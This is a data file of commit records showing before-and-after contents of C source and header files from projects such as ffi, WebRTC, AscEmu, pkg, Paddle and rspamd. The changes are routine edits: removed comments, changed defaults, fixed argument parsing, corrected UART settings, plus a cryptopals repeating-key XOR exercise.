{"commit":"21c2371374733091f549f1c7451261e6237af646","old_file":"ext\/ffi_c\/rbffi.h","new_file":"ext\/ffi_c\/rbffi.h","old_contents":"\/* \n * File:   rbffi.h\n * Author: wayne\n *\n * Created on August 27, 2008, 5:40 PM\n *\/\n\n#ifndef _RBFFI_H\n#define\t_RBFFI_H\n\n#include <ruby.h>\n\n#ifdef\t__cplusplus\nextern \"C\" {\n#endif\n\n#define MAX_PARAMETERS (32)\n    \nextern void rb_FFI_AbstractMemory_Init();\nextern void rb_FFI_MemoryPointer_Init();\nextern void rb_FFI_Buffer_Init();\nextern void rb_FFI_Callback_Init();\nextern void rb_FFI_Invoker_Init();\nextern VALUE rb_FFI_AbstractMemory_class;\n\n\n#ifdef\t__cplusplus\n}\n#endif\n\n#endif\t\/* _RBFFI_H *\/\n\n","new_contents":"#ifndef _RBFFI_H\n#define\t_RBFFI_H\n\n#include <ruby.h>\n\n#ifdef\t__cplusplus\nextern \"C\" {\n#endif\n\n#define MAX_PARAMETERS (32)\n    \nextern void rb_FFI_AbstractMemory_Init();\nextern void rb_FFI_MemoryPointer_Init();\nextern void rb_FFI_Buffer_Init();\nextern void rb_FFI_Callback_Init();\nextern void rb_FFI_Invoker_Init();\nextern VALUE rb_FFI_AbstractMemory_class;\n\n\n#ifdef\t__cplusplus\n}\n#endif\n\n#endif\t\/* _RBFFI_H *\/\n\n","subject":"Remove comment at top of file","message":"Remove comment at top of file\n","lang":"C","license":"bsd-3-clause","repos":"ffi\/ffi,sparkchaser\/ffi,yghannam\/ffi,yghannam\/ffi,sparkchaser\/ffi,tduehr\/ffi,MikaelSmith\/ffi,sparkchaser\/ffi,MikaelSmith\/ffi,sparkchaser\/ffi,MikaelSmith\/ffi,mvz\/ffi,ferventcoder\/ffi,yghannam\/ffi,ferventcoder\/ffi,majioa\/ffi,mvz\/ffi,ferventcoder\/ffi,tduehr\/ffi,MikaelSmith\/ffi,ferventcoder\/ffi,ffi\/ffi,tduehr\/ffi,mvz\/ffi,yghannam\/ffi,majioa\/ffi,tduehr\/ffi,majioa\/ffi,mvz\/ffi,yghannam\/ffi,majioa\/ffi,ffi\/ffi"}
{"commit":"8504c7c838219029c7e92818f663c777b8bbe5b6","old_file":"common_audio\/signal_processing\/cross_correlation.c","new_file":"common_audio\/signal_processing\/cross_correlation.c","old_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    \/* Unrolling doesn't seem to improve performance. *\/\n    for (j = 0; j < dim_seq; j++) {\n      \/\/ It's not clear why casting |right_shifts| here helps performance.\n      corr += (seq1[j] * seq2[j]) >> (int16_t)right_shifts;\n    }\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","new_contents":"\/*\n *  Copyright (c) 2012 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#include \"webrtc\/common_audio\/signal_processing\/include\/signal_processing_library.h\"\n\n\/* C version of WebRtcSpl_CrossCorrelation() for generic platforms. *\/\nvoid WebRtcSpl_CrossCorrelationC(int32_t* cross_correlation,\n                                 const int16_t* seq1,\n                                 const int16_t* seq2,\n                                 int16_t dim_seq,\n                                 int16_t dim_cross_correlation,\n                                 int right_shifts,\n                                 int step_seq2) {\n  int i = 0, j = 0;\n\n  for (i = 0; i < dim_cross_correlation; i++) {\n    int32_t corr = 0;\n    \/* Unrolling doesn't seem to improve performance. *\/\n    for (j = 0; j < dim_seq; j++)\n      corr += (seq1[j] * seq2[j]) >> right_shifts;\n    seq2 += step_seq2;\n    *cross_correlation++ = corr;\n  }\n}\n","subject":"Test whether removing a cast still hurts performance.","message":"Test whether removing a cast still hurts performance.\n\nBUG=499241\nTEST=none\nTBR=andrew\n\nReview URL: https:\/\/codereview.webrtc.org\/1206653002\n\nCr-Original-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#9491}\nCr-Mirrored-From: https:\/\/chromium.googlesource.com\/external\/webrtc\nCr-Mirrored-Commit: 6bfc82aaf18e42fcc7328b81ffb3ec3cf360d732\n","lang":"C","license":"bsd-3-clause","repos":"jchavanton\/webrtc,aleonliao\/webrtc-trunk,jchavanton\/webrtc,Alkalyne\/webrtctrunk,jchavanton\/webrtc,aleonliao\/webrtc-trunk,Alkalyne\/webrtctrunk,aleonliao\/webrtc-trunk,sippet\/webrtc,jchavanton\/webrtc,Alkalyne\/webrtctrunk,Alkalyne\/webrtctrunk,jchavanton\/webrtc,sippet\/webrtc,jchavanton\/webrtc,Alkalyne\/webrtctrunk,aleonliao\/webrtc-trunk,Alkalyne\/webrtctrunk,Alkalyne\/webrtctrunk,aleonliao\/webrtc-trunk,sippet\/webrtc,aleonliao\/webrtc-trunk,sippet\/webrtc,Alkalyne\/webrtctrunk,jchavanton\/webrtc,sippet\/webrtc,sippet\/webrtc"}
{"commit":"8d3fcee6c93cff3bded1a37cdd052da1ef89c65d","old_file":"src\/shared\/Threading\/AEThread.h","new_file":"src\/shared\/Threading\/AEThread.h","old_contents":"#pragma once\n#include \"ThreadState.h\"\n\n#include <atomic>\n#include <mutex>\n#include <thread>\n\n\/\/ Lightweight wrapper for std::thread to provide extensibility\nnamespace AscEmu { namespace Threading\n{\n    class AEThread\n    {\n        typedef std::function<void(AEThread&)> ThreadFunc;\n\n        static std::atomic<unsigned int> ThreadIdCounter;\n        const long long m_longSleepDelay = 64;\n\n        \/\/ Meta\n        std::string m_name;\n        unsigned int m_id;\n        ThreadFunc m_func;\n        std::chrono::milliseconds m_interval;\n\n        \/\/ State\n        std::mutex m_mtx;\n        std::thread m_thread;\n        bool m_killed;\n        bool m_done;\n        bool m_longSleep;\n\n        void threadRunner();\n        void killThread();\n    public:\n        AEThread(std::string name, ThreadFunc func, std::chrono::milliseconds intervalMs, bool autostart = false);\n        ~AEThread();\n\n        std::chrono::milliseconds getInterval() const;\n        std::chrono::milliseconds setInterval(std::chrono::milliseconds val);\n        std::chrono::milliseconds unsafeSetInterval(std::chrono::milliseconds val);\n\n        std::string getName() const;\n\n        unsigned int getId() const;\n\n        bool isKilled() const;\n        void requestKill();\n        void join();\n\n        void reboot();\n\n        void lock();\n        void unlock();\n    };\n}}\n","new_contents":"#pragma once\n#include \"ThreadState.h\"\n\n#include <atomic>\n#include <mutex>\n#include <thread>\n\n\/\/ Lightweight wrapper for std::thread to provide extensibility\nnamespace AscEmu { namespace Threading\n{\n    class AEThread\n    {\n        typedef std::function<void(AEThread&)> ThreadFunc;\n\n        static std::atomic<unsigned int> ThreadIdCounter;\n        const long long m_longSleepDelay = 64;\n\n        \/\/ Meta\n        std::string m_name;\n        unsigned int m_id;\n        ThreadFunc m_func;\n        std::chrono::milliseconds m_interval;\n\n        \/\/ State\n        std::mutex m_mtx;\n        std::thread m_thread;\n        bool m_killed;\n        bool m_done;\n        bool m_longSleep;\n\n        void threadRunner();\n        void killThread();\n    public:\n        AEThread(std::string name, ThreadFunc func, std::chrono::milliseconds intervalMs, bool autostart = true);\n        ~AEThread();\n\n        std::chrono::milliseconds getInterval() const;\n        std::chrono::milliseconds setInterval(std::chrono::milliseconds val);\n        std::chrono::milliseconds unsafeSetInterval(std::chrono::milliseconds val);\n\n        std::string getName() const;\n\n        unsigned int getId() const;\n\n        bool isKilled() const;\n        void requestKill();\n        void join();\n\n        void reboot();\n\n        void lock();\n        void unlock();\n    };\n}}\n","subject":"Make threads autostart by default","message":"Make threads autostart by default\n","lang":"C","license":"agpl-3.0","repos":"master312\/AscEmu,Appled\/AscEmu,master312\/AscEmu,AscEmu\/AscEmu,Appled\/AscEmu,master312\/AscEmu,AscEmu\/AscEmu,Appled\/AscEmu,AscEmu\/AscEmu,master312\/AscEmu,master312\/AscEmu,master312\/AscEmu"}
{"commit":"dec3653d15e4bbe71c1652d9f75e8a0b8573a3ee","old_file":"libpkg\/pkg_error.h","new_file":"libpkg\/pkg_error.h","old_contents":"#ifndef _PKG_ERROR_H\n#define _PKG_ERROR_H\n\n#ifdef DEBUG\n#\tdefine pkg_error_set(code, fmt, ...) \\\n\t\t_pkg_error_set(code, fmt \" [at %s:%d]\", ##__VA_ARGS__, __FILE__, __LINE__)\n#else\n#\tdefine pkg_error_set _pkg_error_set\n#endif\n\n#define ERROR_BAD_ARG(name) \\\n\tpkg_error_set(EPKG_FATAL, \"Bad argument `%s` in %s\", name, __FUNCTION__)\n\n#define ERROR_SQLITE(db) \\\n\tpkg_error_set(EPKG_FATAL, \"%s (sqlite at %s:%d)\", sqlite3_errmsg(db), __FILE__, __LINE__)\n\npkg_error_t _pkg_error_set(pkg_error_t, const char *, ...);\n\n#endif\n","new_contents":"#ifndef _PKG_ERROR_H\n#define _PKG_ERROR_H\n\n#ifdef DEBUG\n#\tdefine pkg_error_set(code, fmt, ...) \\\n\t\t_pkg_error_set(code, fmt \" [at %s:%d]\", ##__VA_ARGS__, __FILE__, __LINE__)\n#else\n#\tdefine pkg_error_set _pkg_error_set\n#endif\n\n#define ERROR_BAD_ARG(name) \\\n\tpkg_error_set(EPKG_FATAL, \"Bad argument `%s` in %s\", name, __FUNCTION__)\n\n#define ERROR_SQLITE(db) \\\n\tpkg_error_set(EPKG_FATAL, \"%s (sqlite)\", sqlite3_errmsg(db))\n\npkg_error_t _pkg_error_set(pkg_error_t, const char *, ...);\n\n#endif\n","subject":"Revert \"Indicate the location of sqlite failures.\"","message":"Revert \"Indicate the location of sqlite failures.\"\n\nThis reverts commit 2686383409d98488ae7b2c39d531af9ef380e21a.\n","lang":"C","license":"bsd-2-clause","repos":"junovitch\/pkg,Open343\/pkg,junovitch\/pkg,khorben\/pkg,khorben\/pkg,skoef\/pkg,Open343\/pkg,skoef\/pkg,khorben\/pkg,en90\/pkg,en90\/pkg"}
{"commit":"7ef1bd0d3543ec940405f94e3c908771b6a3c210","old_file":"lib\/uart.h","new_file":"lib\/uart.h","old_contents":"\/**\n * This is used to setup the UART device on an AVR unit.\n *\/\n\n#pragma once\n\n#include <avr\/io.h>\n\n#ifndef BAUD\n#  define BAUD 9600\n#  warning BAUD rate not set.  Setting BAUD rate to 9600.\n#endif \/\/ BAUD\n\n#define BAUDRATE ((F_CPU)\/(BAUD*16UL)-1)\n\nstatic inline void uart_enable(void) {\n  UBRR0H = BAUDRATE >> 8;\n  UBRR0L = BAUDRATE;\n  UCSR0B |= _BV(TXEN0) | _BV(RXEN0);\n  UCSR0C |= _BV(UMSEL00) | _BV(UCSZ01) | _BV(UCSZ00);\n}\n\nstatic inline void uart_transmit(unsigned char data) {\n  while (!(UCSR0A & _BV(UDRE0)));\n  UDR0 = data;\n}\n\nstatic inline unsigned char uart_receive(void) {\n  while (!(UCSR0A & _BV(RXC0)));\n  return UDR0;\n}\n","new_contents":"\/**\n * This is used to setup the UART device on an AVR unit.\n *\/\n\n#pragma once\n\n#include <avr\/io.h>\n\n#ifndef BAUD\n#  define BAUD 9600\n#  warning BAUD rate not set.  Setting BAUD rate to 9600.\n#endif \/\/ BAUD\n\n#define BAUDRATE ((F_CPU)\/(BAUD*16UL)-1)\n\nstatic inline void uart_enable(void) {\n  UBRR0H = BAUDRATE >> 8;\n  UBRR0L = BAUDRATE;\n\n  \/\/ Set RX\/TN enabled\n  UCSR0B |= _BV(TXEN0) | _BV(RXEN0);\n\n  \/\/ Set asynchronous USART\n  \/\/ Set frame format: 8-bit data, 2-stop bit\n  UCSR0C |= _BV(USBS0) | _BV(UCSZ01) | _BV(UCSZ00);\n}\n\nstatic inline void uart_transmit(unsigned char data) {\n  while (!(UCSR0A & _BV(UDRE0)));\n  UDR0 = data;\n}\n\nstatic inline unsigned char uart_receive(void) {\n  while (!(UCSR0A & _BV(RXC0)));\n  return UDR0;\n}\n","subject":"Correct the frame format and async mode for the UART. Add useful comments.","message":"Correct the frame format and async mode for the UART.  Add useful comments.\n","lang":"C","license":"mpl-2.0","repos":"grimwm\/avr,grimwm\/avr,grimwm\/avr,grimwm\/avr"}
{"commit":"c3592830e44ccb737e9df0b86d310c1d7dcfc17d","old_file":"set-1\/5-repeating-key-xor.c","new_file":"set-1\/5-repeating-key-xor.c","old_contents":"","new_contents":"#include <stdio.h>\n\nchar input[] = \"Burning 'em, if you ain't quick and nimble\\nI go crazy when I hear a cymbal\";\nchar key[] = \"ICE\";\nchar lookup[] = \"0123456789abcdef\";\n\nint main()\n{\n  for(unsigned int i = 0; i < (sizeof(input) - 1); ++i)\n  {\n    char num = input[i] ^ key[i % (sizeof(key) - 1)];\n    printf(\"%c%c\", lookup[(num >> 4)], lookup[num & 0x0F]);\n  }\n  return 0;\n}\n","subject":"Set 1 challenge 5 Implement repeating-key XOR","message":"Set 1 challenge 5 Implement repeating-key XOR\n","lang":"C","license":"mit","repos":"shantanugoel\/cryptopals-solutions,shantanugoel\/cryptopals-solutions"}
{"commit":"eb310eabb13ab391eb3feaccae8c937b29f726fe","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include \"common.h\"\n\nint main(int argc, char **argv) {\n\treturn 0;\n}\n","new_contents":"#include \"common.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\ninternal\nvoid usage() {\n\tfprintf(stderr,\n\t        \"usage: mepa <command> [<options>] [<args>]\\n\"\n\t        \"\\n\"\n\t        \"Commands:\\n\"\n\t        \"    help             - show this usage text\\n\"\n\t        \"    format [<file>]  - reformat code\\n\");\n}\n\ninternal __attribute__((noreturn))\nvoid die() {\n\tperror(\"mepa\");\n\texit(1);\n}\n\ninternal\nvoid *nonnull_or_die(void *ptr) {\n\tif (ptr == NULL) {\n\t\tdie();\n\t}\n\treturn ptr;\n}\n\ninternal\nint help_main(int argc, char **argv) {\n\t(void) argc;\n\t(void) argv;\n\tusage();\n\treturn 0;\n}\n\ninternal\nint format_main(int argc, char **argv) {\n\tFILE *file;\n\tif (argc == 2 || strcmp(argv[2], \"-\") == 0) {\n\t\tfile = stdin;\n\t} else {\n\t\tfile = nonnull_or_die(fopen(argv[2], \"r\"));\n\t}\n\tu32 cap = 4096;\n\tu32 size = 0;\n\tu8 *contents = malloc(cap);\n\twhile (true) {\n\t\tu32 wanted = cap - size;\n\t\tusize result = fread(contents + size, 1, wanted, file);\n\t\tif (result != wanted) {\n\t\t\tif (ferror(file)) {\n\t\t\t\tdie();\n\t\t\t}\n\t\t\tsize += result;\n\t\t\tbreak;\n\t\t}\n\t\tsize += result;\n\t\tcap += cap >> 1;\n\t\tcontents = realloc(contents, cap);\n\t}\n\tcontents = realloc(contents, size);\n\tfclose(file);\n\tfwrite(contents, 1, size, stdout);\n\treturn 0;\n}\n\ntypedef struct {\n\tchar *command;\n\tint (*func)(int, char**);\n} Command;\n\ninternal\nCommand commands[] = {\n\t{\"help\",   help_main},\n\t{\"-h\",     help_main},\n\t{\"--help\", help_main},\n\t{\"-help\",  help_main},\n\t{\"format\", format_main},\n};\n\nint main(int argc, char **argv) {\n\tif (argc == 1) {\n\t\treturn help_main(argc, argv);\n\t}\n\tfor (u32 i = 0; i < array_count(commands); i++) {\n\t\tif (strcmp(argv[1], commands[i].command) == 0) {\n\t\t\treturn commands[i].func(argc, argv);\n\t\t}\n\t}\n\tfprintf(stderr, \"Unknown command %s\\n\", argv[1]);\n\tusage();\n\treturn 1;\n}\n","subject":"Add basic argument parsing and file reading","message":"Add basic argument parsing and file reading\n","lang":"C","license":"isc","repos":"klkblake\/mepa,klkblake\/mepa"}
{"commit":"dd552085c82924e28eaab28fad410b459c3fd71a","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdio.h>\n\n#include \"src\/sea.h\"\n\nint main(int argc, char* argv[]) {\n    \/\/ parse arguments\n    while((opt = getopt(argc, argv, \"d:\")) != -1) {\n        switch(opt) {\n            case 'd': {\n                extern int yydebug;\n                yydebug = 1;\n            }\n            default: {\n                fprintf(stderr, \"Usage: %s [-d] input_filename\\n\", argv[0]);\n                exit(EXIT_FAILURE);\n            }\n        }\n    }\n\n    if (optind >= argc) {\n        fprintf(stderr, \"Expected argument after options\\n\");\n        exit(EXIT_FAILURE);\n    }\n\n    \/\/ use arguments\n    char* filename = argv[optind];\n    FILE* input_file;\n    int is_stdin = strcmp(filename, \"-\") == 0;\n\n    input_file = is_stdin ? stdin : fopen(filename, \"rb\");\n    if (!input_file) {\n        perror(\"An error occured whilst reading from the input file\");\n        return -1;\n    }\n\n    \/\/ main part of program\n    sea* s = create_sea();\n    int stat = execute_file(s, input_file);\n    free_sea(s);\n\n    \/\/ cleanup\n    if (!is_stdin) {\n        if (ferror(input_file)) {\n            fprintf(stderr, \"An error occured during reading from the file\\n\");\n        }\n        fclose(input_file);\n    }\n\n    if (stat != 0) {\n        fprintf(stderr, \"An occured during parsing\\n\");\n        return stat;\n    } else {\n        return 0;\n    }\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\n#include \"src\/sea.h\"\n\nint main(int argc, char* argv[]) {\n    \/\/ parse arguments\n    char opt;\n    extern int optind;\n    while((opt = getopt(argc, argv, \"d\")) != -1) {\n        switch(opt) {\n            case 'd': {\n                extern int yydebug;\n                yydebug = 1;\n                break;\n            }\n            case '?': {\n                fprintf(stderr, \"Usage: %s [-d] input_filename\\n\", argv[0]);\n                exit(EXIT_FAILURE);\n            }\n        }\n    }\n\n    if (optind >= argc) {\n        fprintf(stderr, \"Expected argument after options\\n\");\n        exit(EXIT_FAILURE);\n    }\n\n    \/\/ use arguments\n    char* filename = argv[optind];\n    FILE* input_file;\n    int is_stdin = strcmp(filename, \"-\") == 0;\n\n    input_file = is_stdin ? stdin : fopen(filename, \"rb\");\n    if (!input_file) {\n        perror(\"An error occured whilst reading from the input file\");\n        return -1;\n    }\n\n    \/\/ main part of program\n    sea* s = create_sea();\n    int stat = execute_file(s, input_file);\n    free_sea(s);\n\n    \/\/ cleanup\n    if (!is_stdin) {\n        if (ferror(input_file)) {\n            fprintf(stderr, \"An error occured during reading from the file\\n\");\n        }\n        fclose(input_file);\n    }\n\n    if (stat != 0) {\n        fprintf(stderr, \"An occured during parsing\\n\");\n        return stat;\n    } else {\n        return 0;\n    }\n}\n","subject":"Mend command line flag parsing","message":"Mend command line flag parsing\n","lang":"C","license":"mit","repos":"Mause\/sea_lang,Mause\/sea_lang,Mause\/sea_lang"}
{"commit":"68b86d666521178f1b994c6c86a5539e35f66a52","old_file":"paddle\/fluid\/framework\/details\/execution_strategy.h","new_file":"paddle\/fluid\/framework\/details\/execution_strategy.h","old_contents":"\/\/ Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n#include <cstddef>  \/\/ for size_t\n\nnamespace paddle {\nnamespace framework {\nnamespace details {\n\nstruct ExecutionStrategy {\n  enum ExecutorType { kDefault = 0, kExperimental = 1 };\n\n  size_t num_threads_{0};\n  bool use_cuda_{true};\n  bool allow_op_delay_{false};\n  size_t num_iteration_per_drop_scope_{100};\n  ExecutorType type_{kDefault};\n  bool dry_run_{false};\n};\n\n}  \/\/  namespace details\n}  \/\/  namespace framework\n}  \/\/  namespace paddle\n","new_contents":"\/\/ Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#pragma once\n#include <cstddef>  \/\/ for size_t\n\nnamespace paddle {\nnamespace framework {\nnamespace details {\n\nstruct ExecutionStrategy {\n  enum ExecutorType { kDefault = 0, kExperimental = 1 };\n\n  size_t num_threads_{0};\n  bool use_cuda_{true};\n  bool allow_op_delay_{false};\n  size_t num_iteration_per_drop_scope_{1};\n  ExecutorType type_{kDefault};\n  bool dry_run_{false};\n};\n\n}  \/\/  namespace details\n}  \/\/  namespace framework\n}  \/\/  namespace paddle\n","subject":"Change default value to align with the original react","message":"Change default value to align with the original react\n\ntest=develop\n","lang":"C","license":"apache-2.0","repos":"chengduoZH\/Paddle,PaddlePaddle\/Paddle,tensor-tang\/Paddle,tensor-tang\/Paddle,luotao1\/Paddle,chengduoZH\/Paddle,PaddlePaddle\/Paddle,luotao1\/Paddle,baidu\/Paddle,luotao1\/Paddle,chengduoZH\/Paddle,chengduoZH\/Paddle,baidu\/Paddle,chengduoZH\/Paddle,luotao1\/Paddle,tensor-tang\/Paddle,PaddlePaddle\/Paddle,luotao1\/Paddle,baidu\/Paddle,baidu\/Paddle,PaddlePaddle\/Paddle,tensor-tang\/Paddle,PaddlePaddle\/Paddle,luotao1\/Paddle,tensor-tang\/Paddle,PaddlePaddle\/Paddle,baidu\/Paddle,PaddlePaddle\/Paddle,luotao1\/Paddle"}
{"commit":"7d8a38b200cd70bef0300ce482c0723e8d64406b","old_file":"log\/log_singleton.h","new_file":"log\/log_singleton.h","old_contents":"#ifndef _LOG_SINGLETON_H_\n#define _LOG_SINGLETON_H_\n\n#include \"log.h\"\n#include \"basedefs.h\"\n\nnamespace anp\n{\n\nclass LogSingleton: public anp::Log\n{\npublic:\n\tstatic LogSingleton &getInstance();\n\tstatic void releaseInstance();\nprivate:\n\tLogSingleton() { }\n\t~LogSingleton() { }\n\t\n\tstatic uint32 m_refCount;\n\tstatic LogSingleton *m_instance;\n};\n\n\/**\n\tMakes sure that LogSingleton::releaseInstance() gets called.\n*\/\nclass LogSingletonHelper\n{\npublic:\n\tLogSingletonHelper():\n\tm_log(LogSingleton::getInstance())\n\t{\n\t\t\n\t}\n\t~LogSingletonHelper()\n\t{\n\t\tLogSingleton::releaseInstance();\n\t}\n\tvoid addMessage(const anp::dstring &message)\n\t{\n\t\tm_log.addMessage(message);\n\t}\nprivate:\n\tLogSingleton &m_log;\n};\n\n}\n\n#endif \/\/ _LOG_SINGLETON_H_\n","new_contents":"#ifndef _LOG_SINGLETON_H_\n#define _LOG_SINGLETON_H_\n\n#include \"log.h\"\n#include \"basedefs.h\"\n\nnamespace anp\n{\n\nclass LogSingleton: public anp::Log\n{\npublic:\n\tstatic LogSingleton &getInstance();\n\tstatic void releaseInstance();\nprivate:\n\tLogSingleton() { }\n\t~LogSingleton() { }\n\t\n\tstatic uint32 m_refCount;\n\tstatic LogSingleton *m_instance;\n};\n\n\/**\n\tMakes sure that LogSingleton::releaseInstance() gets called.\n*\/\nclass LogSingletonHelper\n{\npublic:\n\tLogSingletonHelper():\n\tm_log(LogSingleton::getInstance())\n\t{\n\t\t\n\t}\n\t~LogSingletonHelper()\n\t{\n\t\tLogSingleton::releaseInstance();\n\t}\n\tvoid addMessage(const anp::dstring &message)\n\t{\n\t\tm_log.addMessage(message);\n\t}\n\t\n\tvoid operator()(const anp::dstring message)\n\t{\n\t\tm_log.addMessage(message);\n\t}\nprivate:\n\tLogSingleton &m_log;\n};\n\n#define LOG_SINGLETON_MSG(message) LogSingleton::getInstance().addMessage(message);\\\n\t\t\t\t\t\t\t\t\tLogSingleton::releaseInstance();\n\n}\n\n#endif \/\/ _LOG_SINGLETON_H_\n","subject":"Add overloaded () operator to LogSingletonHelper.","message":"Add overloaded () operator to LogSingletonHelper.\n","lang":"C","license":"bsd-2-clause","repos":"antonp\/anpcode,antonp\/anpcode"}
{"commit":"b85b078b0ce485c342dc726069a2f8cb9c23411f","old_file":"src\/libstat\/learn_cache\/learn_cache.h","new_file":"src\/libstat\/learn_cache\/learn_cache.h","old_contents":"","new_contents":"\/*\n * Copyright (c) 2015, Vsevolod Stakhov\n *\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\t * Redistributions of source code must retain the above copyright\n *\t   notice, this list of conditions and the following disclaimer.\n *\t * Redistributions in binary form must reproduce the above copyright\n *\t   notice, this list of conditions and the following disclaimer in the\n *\t   documentation and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY AUTHOR ''AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL AUTHOR BE LIABLE FOR ANY\n * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n#ifndef LEARN_CACHE_H_\n#define LEARN_CACHE_H_\n\n#include \"config.h\"\n#include \"ucl.h\"\n\ntypedef enum rspamd_learn_cache_result {\n\tRSPAMD_LEARN_OK = 0,\n\tRSPAMD_LEARN_UNLEARN,\n\tRSPAMD_LEARN_INGORE\n} rspamd_learn_t;\n\nstruct rspamd_stat_cache {\n\tconst char *name;\n\tgpointer (*init)(struct rspamd_stat_ctx *ctx, struct rspamd_config *cfg);\n\trspamd_learn_t (*process)(GTree *input, gboolean is_spam, gpointer ctx);\n\tgpointer ctx;\n};\n\n#endif \/* LEARN_CACHE_H_ *\/\n","subject":"Add preliminary API definition for learn cache.","message":"Add preliminary API definition for learn cache.\n","lang":"C","license":"bsd-2-clause","repos":"amohanta\/rspamd,andrejzverev\/rspamd,dark-al\/rspamd,AlexeySa\/rspamd,AlexeySa\/rspamd,AlexeySa\/rspamd,minaevmike\/rspamd,minaevmike\/rspamd,AlexeySa\/rspamd,andrejzverev\/rspamd,amohanta\/rspamd,dark-al\/rspamd,awhitesong\/rspamd,andrejzverev\/rspamd,amohanta\/rspamd,minaevmike\/rspamd,andrejzverev\/rspamd,minaevmike\/rspamd,amohanta\/rspamd,awhitesong\/rspamd,minaevmike\/rspamd,andrejzverev\/rspamd,andrejzverev\/rspamd,AlexeySa\/rspamd,minaevmike\/rspamd,awhitesong\/rspamd,dark-al\/rspamd,AlexeySa\/rspamd,minaevmike\/rspamd,andrejzverev\/rspamd,AlexeySa\/rspamd,minaevmike\/rspamd,dark-al\/rspamd,AlexeySa\/rspamd,amohanta\/rspamd,awhitesong\/rspamd,AlexeySa\/rspamd,dark-al\/rspamd,minaevmike\/rspamd,andrejzverev\/rspamd"}
{"commit":"1f78619803e925c12e7d222bf1af0d1de96e930c","old_file":"static_block.c","new_file":"static_block.c","old_contents":"","new_contents":"extern int printf(char *, ...);\n\nvoid (^pb)() = ^{ return; };\n\nint i, j;\n\nint *(^funcs[])() = {\n\t[0 ... 1] = ^{ printf(\"1!\\n\"); return &i; },\n\t^{ printf(\"2!\\n\"); return &j; },\n};\n\nvoid *f(int x)\n{\n\treturn funcs[x]();\n}\n\nmain()\n{\n\tprintf(\"&i = %p\\n\", &i);\n\tprintf(\"&j = %p\\n\", &j);\n\tfor(int i = 0; i < 3; i++)\n\t\tprintf(\"f(%d) = %p\\n\", i, f(i));\n}\n","subject":"Test case for static storage blocks","message":"Test case for static storage blocks\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
